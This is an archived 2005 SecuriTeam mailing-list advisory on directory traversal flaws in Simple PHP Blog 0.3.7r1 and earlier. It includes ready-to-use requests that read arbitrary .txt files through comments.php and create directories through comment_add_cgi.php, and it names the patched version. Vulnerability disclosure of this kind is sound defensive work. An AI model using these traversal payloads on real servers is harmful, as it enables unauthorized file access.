Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[UNIX] Simple PHP Blog Directory Traversal

Subject: [UNIX] Simple PHP Blog Directory Traversal
Date: 10 Jan 2005 14:06:05 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Simple PHP Blog Directory Traversal
------------------------------------------------------------------------


SUMMARY

 <http://www.bigevilbrain.com/sphpblog/> Simple PHP Blog requires "no 
database to create a blog system but instead only requires PHP 4 (or 
greater) and write permission on the server".

Two vulnerabilities in Simple PHP Blog are caused by inadequate testing 
for directory traversal attacks allow a remote attacker to view arbitrary 
files and create arbitrary directories.

DETAILS

Vulnerable Systems:
 * Simple PHP Blog version 0.3.7r1 and prior

Immune Systems:
 * Simple PHP Blog version 0.3.7r2 or newer

We can read any file with TXT extension (in this example /etc/X11/rgb.txt)
Request:
http://[SERVER]/sphpblog/comments.php?y=05&m=01&entry=../../../../../../../etc/X11/rgb
Returns the content of the file

We can create arbitrary folders in the file system and the content of the 
post will be saved in this folder.

To create folder http://[SERVER]/sphpblog/createdir/

Request (this must be a POST request and we must modify entry parameter):
http://[SERVER]/sphpblog/comment_add_cgi.php
~    entry=../../../createdir


ADDITIONAL INFORMATION

The information has been provided by  <mailto:madelman@iname.com> 
Madelman.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [UNIX] Simple PHP Blog Directory Traversal, SecuriTeam <=